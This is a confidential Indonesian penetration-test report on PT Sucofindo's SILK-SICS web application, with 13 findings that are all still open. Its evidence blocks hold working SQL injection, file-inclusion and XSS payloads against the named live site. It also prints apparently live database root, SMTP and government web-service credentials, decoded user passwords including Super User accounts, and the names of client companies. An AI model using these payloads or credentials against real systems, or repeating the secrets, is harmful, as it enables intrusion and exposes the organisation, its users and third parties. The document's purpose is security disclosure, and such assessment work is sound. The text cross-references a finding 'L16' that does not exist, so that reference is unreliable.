CONFIDENTIAL · INTERNAL

Laporan Penetration Testing Website silk.sucofindo.co.id

Sistem Informasi Legalitas Kayu (SILK-SICS) — PT. SUCOFINDO

Independent Security Assessment

Edho Ferdian Dwi Cahyo — Pentester

Report Version: 1.0

Daftar Isi

1. Document Control

1.1 Tim

Kontak	Role
Edho Ferdian Dwi Cahyo	Pentester
—	Reviewer

1.2 Daftar Perubahan

Versi	Deskripsi	Tanggal
1.0	Laporan awal pengujian penetrasi	25 Agustus 2026

2. Executive Summary

2.1 Gambaran Umum

Pengujian keamanan dilakukan pada aplikasi web **Sistem Informasi Legalitas Kayu (SILK-SICS)** milik PT. Sucofindo pada tanggal **25 Agustus 2026**. Tujuan pengujian adalah mengidentifikasi, mengevaluasi, dan mendokumentasikan kerentanan keamanan pada aplikasi tersebut. Pengujian dilakukan dengan pendekatan **black-box** dari sudut pandang pengguna anonim (tanpa autentikasi).

Laporan ini berisi rincian ruang lingkup, temuan celah keamanan, dan rekomendasi perbaikan. Ringkasan di bawah menyajikan gambaran umum non-teknis mengenai temuan dan dampaknya terhadap operasional perusahaan, dilanjutkan dengan penjelasan teknis untuk masing-masing kerentanan.

2.2 Kerentanan yang Teridentifikasi

No	Severity	Status	Deskripsi
1	CRITICAL	Open	SQL Injection (UNION-Based) pada lookup/HSLOV.php
2	CRITICAL	Open	SQL Injection Blind (Time-Based) pada lookup/showOutstanding.php
3	CRITICAL	Open	Broken Access Control — IDOR userList (1.325 Akun Bocor)
4	CRITICAL	Open	108 Halaman Admin Dapat Diakses Tanpa Autentikasi
5	CRITICAL	Open	Adminer 4.8.1 Terekspos Publik + Kredensial Database Bocor
6	CRITICAL	Open	Kredensial Sensitif Tertanam di Source Code
7	CRITICAL	Open	Eksposur Direktori .git dan 23 File Source Code
8	CRITICAL	Open	Password Lemah, Monokultur, dan

			Tersimpan dalam Format Reversible
9	HIGH	Open	Local File Inclusion (LFI) pada Parameter pPage
10	HIGH	Open	Reflected Cross-Site Scripting (XSS)
11	HIGH	Open	Kebocoran Data 4.354 Perusahaan dan Jadwal Audit
12	HIGH	Open	Dokumen Internal Dapat Diunduh Tanpa Autentikasi
13	HIGH	Open	Fitur Upload Tanpa Kontrol Akses (Rantai Menuju RCE)

Gambaran Umum Kerentanan: Dalam pengujian penetrasi ini, ditemukan **13 kerentanan**, terdiri dari **8 Critical** dan **5 High**. Kerentanan paling kritis berupa SQL Injection pada level root database yang memungkinkan pembacaan seluruh data, kebocoran 1.325 akun pengguna beserta password, serta kredensial database/SMTP/web-service pemerintah yang terekspos dari source code. Pengujian juga mengonfirmasi bahwa upaya eksekusi kode sewenang-wenang (RCE) berhasil diblokir oleh konfigurasi server yang ada.

3. Methodology

3.1 Tujuan

Laporan ini mendokumentasikan hasil pengujian penetrasi dengan metode **Black-box Testing**. Tujuannya adalah mengidentifikasi dan memvalidasi temuan celah keamanan sesuai ruang lingkup yang ditentukan.

3.2 Metodologi

Secara umum, pengujian mengadopsi 4 fase berikut: **reconnaissance**, **vulnerability identification**, **exploitation**, dan **reporting**.

3.3 Pendekatan Pengujian

Pengujian penetrasi aplikasi web dapat dilakukan dengan tiga pendekatan utama — blackbox, greybox, dan whitebox — yang dibedakan berdasarkan jumlah informasi dan akses yang diberikan kepada penguji.

- **Blackbox Testing:** Penguji tidak menerima informasi atau akses apa pun selain ruang lingkup pekerjaan. Pengujian dilakukan dari sudut pandang pengguna anonim; biasanya hanya URL atau alamat IP target yang diberikan, dan pengujian terbatas pada akses yang berhasil ditemukan oleh penguji.
- **Greybox Testing:** Sebagian informasi dan akses tertentu diberikan kepada penguji — seperti kredensial akses, dokumentasi API, diagram arsitektur, atau detail teknis lainnya.
- **Whitebox Testing:** Penguji diberikan akses penuh ke semua informasi relevan, termasuk akses admin, dokumentasi teknis lengkap, dan kode sumber. Metode ini paling mendalam dan komprehensif.

4. Project Details

4.1 Ruang Lingkup

Ruang Lingkup	Target
Website	https://silk.sucofindo.co.id
Alamat IP	35.219.52.208 (port publik: 80, 443)
Metode	Black-box, unauthenticated
Batasan	Tidak melakukan login, tidak mengubah data produksi, tidak meninggalkan file

5. Finding Details

L1 SQL Injection (UNION-Based) pada lookup/HSLOV.php CRITICAL

Score	9.8 (Critical)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Parameter `pFilter` pada halaman `lookup/HSLOV.php` (metode POST) digabungkan langsung ke dalam query SQL tanpa sanitasi: `SELECT ... FROM msths WHERE kode_hs LIKE '%{pFilter}%'`. Kerentanan ini terkonfirmasi sebagai SQL Injection berbasis

UNION dengan struktur query 4 kolom. Query tereksekusi sebagai user `root@172.18.0.3` (MySQL 5.7.44 dalam container Docker), sehingga penyerang dapat membaca seluruh isi database.

Bukti (Evidence):

```
  POST /lookup/HSLOV.php
  pFilter=48' UNION SELECT @@version,2,3,4-- -  → hasil: MySQL 5.7.44
  pFilter=48' UNION SELECT @@version,@@datadir,current_user(),@@hostname-- -  →
root@172.18.0.3
  pFilter=48' UNION SELECT table_name,2,3,4 FROM information_schema.tables WHERE
table_schema='prod_dbvlegal'-- -
  pFilter=48' UNION SELECT GROUP_CONCAT(userID),2,3,4 FROM admuser-- -  → berhasil
mengekstrak data user
```

Dampak (Impact):

- Membaca seluruh isi database produksi: 1.325 akun pengguna beserta password, data blanko V-Legal, transaksi, dan laporan pendapatan.
- Kemampuan menulis/mengubah data (password admin, data industri) — dasar menuju pengambilalihan aplikasi.
- Dapat digabungkan dengan kebocoran kredensial lain untuk mendapatkan kendali penuh atas sistem.

Rekomendasi: Gunakan prepared statement / parameterized query untuk seluruh parameter. Terapkan prinsip least-privilege pada akun database (jangan root), batasi host koneksi, dan aktifkan audit log database.

Referensi:

- https://owasp.org/www-community/attacks/SQL_Injection
- https://portswigger.net/web-security/sql-injection

L2 SQL Injection Blind (Time-Based) pada lookup/showOutstanding.php

CRITICAL

Score	9.8 (Critical)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Parameter `pAreaKerja` pada halaman `lookup/showOutstanding.php` (metode GET) rentan terhadap SQL Injection tipe blind. Penyisipan kutip tunggal merusak query,

sedangkan fungsi `SLEEP()` dan `BENCHMARK()` terbukti benar-benar dieksekusi oleh server, menandakan bahwa input pengguna masuk langsung ke dalam query SQL.

Bukti (Evidence):

```
  GET /lookup/showOutstanding.php?pAreaKerja=1' AND SLEEP(3) AND '1'='1
  → waktu respons 20+ detik (normal: 0,17 detik)
  GET /lookup/showOutstanding.php?pAreaKerja=1' AND BENCHMARK(3000000,SHA1(1)) AND
'1'='1
  → 2,12 detik (konfirmasi eksekusi query)
  GET /lookup/showOutstanding.php?pAreaKerja=x' OR '1'='9  → 899 byte vs OR '1'='1
→ 902 byte (boolean)
```

Dampak (Impact):

- Ekstraksi seluruh data database secara blind (per karakter) — lambat namun tetap memungkinkan.
- Potensi denial-of-service ringan karena SLEEP dieksekusi berulang per baris hasil query.

Rekomendasi: Validasi parameter numerik (misalnya intval()) dan gunakan prepared statement. Pasang WAF/ModSecurity dengan deteksi payload berbasis waktu (SLEEP/ BENCHMARK).

Referensi:

- https://owasp.org/www-community/attacks/Blind_SQL_Injection
- https://portswigger.net/web-security/sql-injection/blind

L3 Broken Access Control — IDOR userList (1.325 Akun Bocor) CRITICAL

Score	9.1 (Critical)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Halaman manajemen pengguna `userList` dapat diakses langsung tanpa sesi autentikasi. Seluruh data pengguna—username, deskripsi, password (dalam format base64), grup, dan email—direnderer penuh oleh server. Terdapat 1.325 akun yang terekspos.

Bukti (Evidence):

```
  GET /index.php?pPage=dXNlckxpc3Q,,   (base64 dari 'userList', karakter '='
diganti ',')
  GET /SILK_LAMA/?pPage=dXNlckxpc3Q=
  → Respons 1.250.412 byte berisi 1.325 akun.
```

```
  Contoh terverifikasi: administrator/backspace · user-admin/jkt2024 · su-hendy/
biji
```

Dampak (Impact):

- Kebocoran total basis pengguna sistem V-Legal (konsumen dan pegawai) — bahan baku credential stuffing.
- Password yang terbaca memungkinkan login langsung ke akun-akun tersebut.
- Membuka peluang penipuan berkedok resmi (phishing) menggunakan identitas internal.

Rekomendasi: Terapkan pemeriksaan sesi dan role di seluruh handler halaman (bukan hanya menu). Rotasi seluruh password pengguna dan hentikan penyimpanan password tanpa hashing.

Referensi:

- https://owasp.org/Top10/A01_2021-Broken_Access_Control

L4 108 Halaman Admin Dapat Diakses Tanpa Autentikasi CRITICAL

Score	9.1 (Critical)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Probing terhadap 479 file PHP menemukan 108 halaman yang me-render konten lengkap tanpa sesi login. Termasuk di dalamnya form pembuatan pengguna (userForm), broadcast email massal (pBroadcastEmailMessage), form permohonan dokumen (tMohonForm), dan berbagai halaman laporan.

Bukti (Evidence):

```
  GET /index.php?pPage=dXNlckZvcm0s,                          → userForm (13.329
byte)
  GET /index.php?pPage=cEJyb2FkY2FzdEVtYWlsTWVzc2FnZQ,,,      →
pBroadcastEmailMessage (166.013 byte)
  GET /index.php?pPage=dE1vaG9uRm9ybQ,,                       → tMohonForm (56.604
byte)
  Semua halaman dirender tanpa cookie/sesi.
```

Dampak (Impact):

- Form userForm dapat digunakan untuk membuat/mengubah akun admin (potensi akun Super User baru).

- pBroadcastEmailMessage dapat mengirim email massal ke seluruh pengguna — vektor phishing internal.
- Form transaksi/permohonan dapat diisi tanpa autentikasi — manipulasi data sertifikasi.

Rekomendasi: Implementasikan middleware autentikasi global (bootstrap) yang memeriksa sesi dan role di setiap halaman, bukan hanya pemeriksaan parsial seperti sInfoLogin==''.

Referensi:

- https://owasp.org/Top10/A01_2021-Broken_Access_Control

L5 Adminer 4.8.1 Terekspos Publik + Kredensial Database Bocor CRITICAL

Score	9.8 (Critical)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Alat manajemen database **Adminer versi 4.8.1** dapat diakses publik melalui `/adminer.php`. Apabila dikombinasikan dengan kredensial database root yang bocor dari source code (lihat L6), penyerang dapat membuka antarmuka SQL penuh terhadap database produksi.

Bukti (Evidence):

```
  GET /adminer.php → halaman login Adminer 4.8.1 (terekspos publik)
  Kredensial dari source code (L6): server=mysql_app · user=root ·
pass=adm@DB#silk25 · db=prod_dbvlegal
  Login TIDAK dicoba selama pengujian (sesuai batasan ruang lingkup).
```

Dampak (Impact):

- Kendali penuh atas database: baca/tulis/ubah seluruh data, eksfiltrasi massal.
- Manipulasi data sertifikat V-Legal yang berdampak pada proses ekspor klien.
- Dengan dukungan multi-query pada Adminer, berpotensi menuju penulisan file di server (RCE).

Rekomendasi: Hapus Adminer dari akses publik atau batasi hanya dari VPN/IP internal dengan proteksi basic-auth. Ganti seluruh kredensial yang bocor dan perbarui Adminer ke versi terbaru.

Referensi:

- https://www.adminer.org/

- https://nvd.nist.gov/vuln/detail/CVE-2021-21311

L6 Kredensial Sensitif Tertanam di Source Code CRITICAL

Score	9.8 (Critical)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Kredensial hardcoded ditemukan pada file `include/cnFile.php` dan `include/xFile.php` (versi 2018–2023) yang terekspos melalui kebocoran source code (L7). Kredensial tersebut mencakup database produksi, server email, dan web service Kementerian Lingkungan Hidup dan Kehutanan (LIU).

Bukti (Evidence):

```
  MySQL  : mysql_app / root / adm@DB#silk25 / prod_dbvlegal  (aktif – dikonfirmasi
via SQLi)
  SMTP   : 172.16.100.245:587 TLS / admin-silk / adm@SILK#2019 (aktif di fungsi
fAutoEmail)
  WS LIU : liu.dephut.go.id + silk.menlhk.go.id / SucofindoICS / sics2012
  Kredensial lama pada komentar: fernando/fernando · admin/adm@silk#sucofindo
```

Dampak (Impact):

- Akses langsung ke database produksi dan server email atas nama resmi Sucofindo.
- Penyalahgunaan web service pemerintah (KemenLHK) atas nama Sucofindo — risiko reputasi dan regulasi.
- Menjadi kunci pembuka rantai serangan menuju RCE (L16).

Rekomendasi: Pindahkan seluruh rahasia ke environment variable atau secret manager. Rotasi semua kredensial yang bocor segera, dan pasang secret scanning pada pipeline pengembangan.

Referensi:

- https://owasp.org/Top10/A02_2021-Cryptographic_Failures

L7 Eksposur Direktori .git dan 23 File Source Code CRITICAL

Score	9.1 (Critical)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Direktori `.git/` dapat dibaca publik (config, index berisi 1.165 path file proyek). Karena nginx menyajikan file ber-ekstensi non-`.php` secara statis, 23 file source code asli (total 1,9 MB, termasuk 14 versi xFile.php) berhasil diunduh.

Bukti (Evidence):

```
  GET /.git/config → origin gitlab.com/repository/app.git (repository private
bocor)
  GET /.git/index  → daftar 1.165 path file proyek
  GET /include/xFile.php-2021-03-18 → source code lengkap (ekstensi tambahan
disajikan statis)
  Sebanyak 23 file source berhasil dikumpulkan (1,9 MB).
```

Dampak (Impact):

- Source code penuh terbuka → memungkinkan review kerentanan tanpa batas oleh penyerang.
- Kredensial (L6), logika login, dan algoritma enkripsi fEnc() terekspos.
- Peta lengkap struktur proyek memudahkan penyerang menargetkan file sensitif.

Rekomendasi: Hapus direktori .git dari webroot. Blokir ekstensi sumber (mis. .php-*, ~, .default) pada konfigurasi nginx. Terapkan gitignore yang benar dan secret scanning pada repository.

Referensi:

- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review-Webpage-Content-for-Information-Leakage

L8 Password Lemah, Monokultur, dan Tersimpan dalam Format Reversible

CRITICAL

Score	9.1 (Critical)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Password pengguna disimpan sebagai **base64 (dapat dibalik)** melalui fungsi `fEnc()` (base64 dengan karakter '=' diganti ','), bukan hash. Selain itu banyak akun berbagi password default yang sama (`biji`), termasuk akun bergrup Super User.

Bukti (Evidence):

```
Hasil ekstraksi via SQLi (decode base64):
administrator / backspace (G001) · user-admin / jkt2024 (G010 - Super User)
su-hendy / biji (G010) · test / biji (G010) · testing / biji (G001)
Password 'biji' dipakai oleh puluhan akun lain.
```

Dampak (Impact):

- Semua password dapat 'dibalik' secara instan, tanpa brute-force.
- Satu password default membuka banyak akun sekaligus (monokultur).
- Akun Super User dengan password lemah dapat langsung digunakan untuk login.

Rekomendasi: Ganti mekanisme penyimpanan dengan hashing modern (bcrypt/argon2). Terapkan kebijakan password kuat dan rotasi massal. Aktifkan multi-factor authentication untuk akun admin.

Referensi:

- https://owasp.org/Top10/A02_2021-Cryptographic_Failures

L9 Local File Inclusion (LFI) pada Parameter pPage HIGH

Score	8.6 (High)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Router `indexa.php` mengeksekusi `include("page/".$pPage.".php")` dengan nilai `pPage` berasal dari input pengguna (terenkode base64). Traversal direktori `../` terbukti berfungsi sehingga file PHP lain dapat di-include dan dieksekusi.

Bukti (Evidence):

```
pPage=Li4vaW5kZXhh  (base64 dari '../indexa')
→ include & eksekusi indexa.php tanpa sesi autentikasi
Memicu rekursi 14,5 MB (2.141 blok DOCTYPE) — konfirmasi eksekusi PHP berhasil.
```

Dampak (Impact):

- Pembacaan/eksekusi file PHP sewenang-wenang pada sistem (dalam batas include).

- Rekursi yang ditimbulkan dapat menjadi mini denial-of-service.
- RCE tidak tercapai pada pengujian ini (suffix .php dan wrapper diblokir), namun tetap berisiko tinggi.

Rekomendasi: Terapkan whitelist nilai pPage dan hindari membangun path dari input pengguna. Batasi include hanya pada direktori page/ yang sah.

Referensi:

- https://owasp.org/www-community/vulnerabilities/Path_Traversal
- https://owasp.org/Top10/A03_2021-Injection

L10 Reflected Cross-Site Scripting (XSS) HIGH

Score	7.4 (High)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Parameter pada `lookup/mobileTrial.php` (pField01–pField06) dan `lookup/HSLOV.php` (pFilter) direfleksikan tanpa escaping ke dalam atribut `value`. Penyerang dapat menyisipkan atribut/event handler JavaScript yang tereksekusi di browser korban.

Bukti (Evidence):

```
  GET /lookup/mobileTrial.php?pField01=' autofocus onfocus=alert(document.cookie)
'
  → tereksekusi otomatis saat halaman dimuat
  Breakout atribut tervalidasi: value='1' onmouseover='alert(1)'









  value=''>
```

Dampak (Impact):

- Eksekusi JavaScript di browser korban: pencurian sesi, phishing, aksi atas nama admin.
- Karena banyak halaman admin tanpa proteksi CSRF (L4), XSS dapat memperkuat rantai serangan.

Rekomendasi: Lakukan HTML-encoding pada seluruh output. Terapkan Content-Security-Policy (CSP), gunakan framework dengan auto-escaping, dan set cookie dengan flag HttpOnly + Secure.

Referensi:

- https://owasp.org/www-community/attacks/xss/

L11 Kebocoran Data 4.354 Perusahaan dan Jadwal Audit HIGH

Score	7.5 (High)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Halaman `mPublikasiRencanaAuditList` me-render daftar lengkap perusahaan pemegang izin beserta alamat, lingkup audit, jadwal, dan status hasil audit — tanpa autentikasi. Total terdata 4.354 perusahaan.

Bukti (Evidence):

```
  POST /index.php?pPage=mPublikasiRencanaAuditList → 'Jumlah Record: 1-10 dari
4354'
  Contoh baris: CV ABOVEE ABADI | alamat lengkap | PBUI | Sertifikasi 2026-07-15
s/d 17 | LULUS
  PT. MITRA KARYAUSAHA SEJAHTERA | IUI-SEKUNDER | 2016-08-15
```

Dampak (Impact):

- Privasi klien perusahaan (BUMN) terekspos: nama, alamat, lingkup, dan jadwal audit.
- Informasi jadwal audit dapat dimanfaatkan untuk rekayasa sosial atau penipuan berkedok pejabat terkait sertifikasi.

Rekomendasi: Batasi akses halaman ini hanya pada sesi yang sah dengan pemeriksaan role, dan jangan tampilkan alamat lengkap di halaman publik.

Referensi:

- https://owasp.org/Top10/A01_2021-Broken_Access_Control

L12 Dokumen Internal Dapat Diunduh Tanpa Autentikasi HIGH

Score	7.5 (High)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Halaman `tDownloadDokumenList` menampilkan daftar dokumen internal beserta tautan langsung pada `/files/*`. Seluruh file tersebut dapat diunduh tanpa autentikasi, termasuk PDF V-Legal, berita acara, dan dokumen serah terima blanko.

Bukti (Evidence):

```
  GET /files/BA_KIRIM_BLANKO_CABANG_587. VLEGAL587.BA-VI.JKT.2026 (PT Hyun
Jin...)_OK.pdf
  → 200 OK, 338.061 byte, application/pdf (terunduh tanpa login)
  Pola penamaan upload: {source}_{nama asli}
```

Dampak (Impact):

- Kebocoran dokumen resmi dan data pihak ketiga (PT Hyun Jin, CV Nuansa Taru Bali, dll).
- Dokumen berita acara dapat disalahgunakan untuk pemalsuan atau penipuan.

Rekomendasi: Wajibkan autentikasi untuk seluruh unduhan. Simpan dokumen di luar docroot dan layani melalui endpoint terotorisasi; jangan gunakan nama file asli pada URL.

Referensi:

- https://owasp.org/Top10/A01_2021-Broken_Access_Control

L13 Fitur Upload Tanpa Kontrol Akses (Rantai Menuju RCE) HIGH

Score	8.8 (High)
Vector string	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Target	https://silk.sucofindo.co.id
Status	Open

Deskripsi: Form upload pada `tUploadRekapitulasi` (4 input file) dan `forumContent` me-render tanpa autentikasi. Whitelist ekstensi pada `tUploadRekapitulasi` belum dapat diverifikasi dari source code. Apabila tidak ada whitelist, upload file `.php` akan menghasilkan eksekusi kode sewenang-wenang (RCE). Ini merupakan rantai serangan paling praktis menuju kompromi penuh server.

Bukti (Evidence):

```
  GET /index.php?pPage=dFVwbG9hZFJla2FwaXR1bGFzaQ,,  → form multipart dengan 4
input file
  Field: pFileRekapLMK · pFileRekapSKSHH · pFileRekapPEB · pFileRekapLAINNYA +
tombol pUpload
  GET /index.php?pPage=Zm9ydW1Db250ZW50 → form multipart (pSimpan)
  Upload TIDAK dilakukan selama pengujian (batasan ruang lingkup).
```

Dampak (Impact):

- RCE langsung apabila whitelist ekstensi tidak ada (severity naik menjadi Critical).
- Rantai: kredensial admin bocor (L8) → login → upload .php → kendali penuh server.

Rekomendasi: Terapkan autentikasi dan otorisasi pada seluruh handler upload. Validasi ekstensi, MIME, dan magic-bytes; simpan file di luar docroot dengan nama acak; layani unduhan melalui endpoint terotorisasi.

Referensi:

- https://owasp.org/Top10/A03_2021-Injection
- https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

6. Severity Levels

Penilaian menggunakan **Common Vulnerability Scoring System (CVSS) versi 3.1**, kerangka kerja standar untuk mengukur tingkat keparahan kelemahan keamanan. Setiap kerentanan diberi skor antara 0 dan 10; semakin tinggi skor, semakin parah masalahnya. Sistem ini membantu organisasi memutuskan ancaman mana yang perlu mendapat prioritas penanganan.

CVSS Score	Severity	Deskripsi
9.0 – 10.0	Critical	Kerentanan paling berbahaya, biasanya memungkinkan eksploitasi meluas dengan dampak parah, seperti kehilangan data dan pengambilalihan sistem secara menyeluruh.
7.0 – 8.9	High	Kerentanan yang dapat memungkinkan akses atau kendali tidak sah atas sistem yang terpengaruh.
4.0 – 6.9	Medium	Kerentanan yang dapat menyebabkan pengaksesan data terbatas atau dapat

		dikombinasikan dengan kelemahan lain untuk mendapatkan akses yang tidak diinginkan.
0.1 – 3.9	Low	Kerentanan yang mungkin tidak dapat dieksploitasi langsung, tetapi menimbulkan kelemahan yang tidak perlu pada aplikasi atau sistem.
0.0	Informational	Informasi yang mungkin bernilai, tetapi tidak teridentifikasi sebagai kerentanan.

7. Disclaimer

Dokumen ini berisi informasi yang sangat rahasia dan dilindungi oleh undang-undang. Informasi yang terdapat dalam dokumen ini hanya ditujukan untuk penerima yang ditentukan dan tidak boleh disebarluaskan, didistribusikan, atau disalin tanpa izin tertulis dari pihak yang berwenang. Kredensial yang muncul dalam laporan ini merupakan hasil verifikasi dampak dalam lingkup pengujian yang disetujui.